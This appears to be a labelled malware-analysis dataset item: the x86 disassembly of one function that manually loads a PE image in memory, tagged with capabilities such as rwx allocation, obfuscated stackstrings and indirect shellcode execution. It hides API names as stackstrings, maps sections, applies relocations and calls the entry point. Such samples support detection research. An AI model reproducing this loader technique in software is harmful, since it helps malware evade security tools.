Function at 0x10002ce0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, ecx
mov ecx, 0x5a4d
push ebx
push esi
push edi
mov dword [ebp - 0xc], eax
cmp word [eax], cx
jne 0x1000303f
mov ebx, dword [eax + 0x3c]
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1000303f
mov esi, dword [0x10161de8]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x4e52454b
push eax
mov dword [ebp - 0x2c], 0x32334c45
mov dword [ebp - 0x28], 0x6c6c642e
mov byte [ebp - 0x24], 0
mov dword [ebp - 0x40], 0x74726956
mov dword [ebp - 0x3c], 0x416c6175
mov dword [ebp - 0x38], 0x636f6c6c
mov byte [ebp - 0x34], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 4
push 0x2000
push dword [ebx + 0x50]
mov dword [ebp - 8], eax
push dword [ebx + 0x34]
call eax
mov dword [ebp - 4], eax
test eax, eax
jne 0x10002d8a
push 4
push 0x2000
push dword [ebx + 0x50]
push eax
call dword [ebp - 8]
mov dword [ebp - 4], eax
test eax, eax
je 0x1000303f
lea eax, [ebp - 0x70]
mov dword [ebp - 0x70], 0x50746547
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x6c], 0x65636f72
push eax
mov dword [ebp - 0x68], 0x65487373
mov word [ebp - 0x64], 0x7061
mov byte [ebp - 0x62], 0
call esi
push eax
call edi
mov edi, eax
mov dword [ebp - 0x20], 0x70616548
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1c], 0x6f6c6c41
push eax
lea eax, [ebp - 0x30]
mov word [ebp - 0x18], 0x63
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x14
push 0
mov esi, eax
call edi
push eax
call esi
mov esi, dword [ebp - 4]
mov edi, eax
push 4
push 0x1000
mov dword [ebp - 0x10], edi
mov dword [edi + 4], esi
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
push dword [ebx + 0x50]
push esi
call dword [ebp - 8]
push 4
push 0x1000
push dword [ebx + 0x54]
push esi
call dword [ebp - 8]
mov ecx, dword [ebx + 0x54]
mov esi, eax
mov eax, dword [ebp - 0xc]
add ecx, dword [eax + 0x3c]
push ecx
push eax
push esi
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebp - 0xc]
xor edx, edx
add esp, 0xc
mov dword [ebp - 8], 0
mov eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 4]
add eax, esi
mov dword [edi], eax
mov dword [eax + 0x34], ecx
mov ecx, dword [edi]
mov esi, dword [edi + 4]
mov dword [ebp - 0x14], esi
movzx eax, word [ecx + 0x14]
add eax, 0x28
cmp dx, word [ecx + 6]
jae 0x10002f2d
lea edi, [eax + ecx]
nop
lea eax, [ebp - 0x50]
mov dword [ebp - 0x60], 0x4e52454b
push eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x5c], 0x32334c45
push eax
mov dword [ebp - 0x58], 0x6c6c642e
mov byte [ebp - 0x54], 0
mov dword [ebp - 0x50], 0x74726956
mov dword [ebp - 0x4c], 0x416c6175
mov dword [ebp - 0x48], 0x636f6c6c
mov byte [ebp - 0x44], 0
call dword [0x10161de8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi]
mov edx, eax
test ecx, ecx
jne 0x10002ee5
mov esi, dword [ebx + 0x38]
test esi, esi
jle 0x10002f0c
mov eax, dword [edi - 4]
add eax, dword [ebp - 0x14]
push 4
push 0x1000
push esi
push eax
call edx
push esi
push 0
push eax
mov dword [edi - 8], eax
call sub.msvcrt.dll_memset
jmp 0x10002f09
mov eax, dword [edi - 4]
push 4
push 0x1000
push ecx
add eax, esi
push eax
call edx
push dword [edi]
mov ecx, dword [edi + 4]
mov esi, eax
add ecx, dword [ebp - 0xc]
push ecx
push esi
call sub.msvcrt.dll_memcpy
mov dword [edi - 8], esi
add esp, 0xc
mov eax, dword [ebp - 0x10]
add edi, 0x28
mov esi, dword [ebp - 8]
inc esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
movzx eax, word [ecx + 6]
cmp esi, eax
mov esi, dword [ebp - 0x14]
jl 0x10002e70
mov edi, dword [ebp - 0x10]
mov esi, dword [ebp - 4]
mov eax, esi
sub eax, dword [ebx + 0x34]
mov dword [ebp - 0x14], eax
je 0x10002fad
cmp dword [ecx + 0xa4], 0
jbe 0x10002fad
mov edx, dword [edi + 4]
mov edi, dword [ecx + 0xa0]
add edi, edx
mov dword [ebp - 0xc], edx
mov eax, dword [edi]
test eax, eax
je 0x10002fad
mov ecx, dword [edi + 4]
lea ebx, [eax + edx]
xor esi, esi
lea edx, [edi + 8]
lea eax, [ecx - 8]
test eax, 0xfffffffe
jbe 0x10002f9e
nop dword [eax]
movzx eax, word [edx]
mov ecx, eax
and ecx, 0xf000
cmp ecx, 0x3000
jne 0x10002f8e
mov ecx, dword [ebp - 0x14]
and eax, 0xfff
add dword [eax + ebx], ecx
mov ecx, dword [edi + 4]
inc esi
add edx, 2
lea eax, [ecx - 8]
shr eax, 1
cmp esi, eax
jb 0x10002f70
mov eax, dword [edi + ecx]
add edi, ecx
mov edx, dword [ebp - 0xc]
test eax, eax
jne 0x10002f57
mov esi, dword [ebp - 4]
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
push eax
lea edx, [ebp - 0x14]
mov dword [ebp - 0x14], 0
mov ecx, ebx
mov dword [ebp - 0xc], 0
call fcn.100029e0
add esp, 4
test eax, eax
je 0x10003038
mov ecx, ebx
call fcn.100028a0
mov eax, dword [ebx]
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10002ff9
add eax, esi
je 0x10003038
push 0
push 1
push esi
call eax
test eax, eax
je 0x10003038
mov dword [ebx + 0x10], 1
mov edi, dword [ebp - 0x14]
test edi, edi
je 0x1000302f
cmp dword [ebp - 0xc], 0
je 0x1000302f
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 8
push edi
mov dword [ebp - 0x10], 0
call esi
mov eax, dword [ebp - 0xc]
mov dword [edi], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push 8
push edi
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, ebx
call fcn.10003050
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret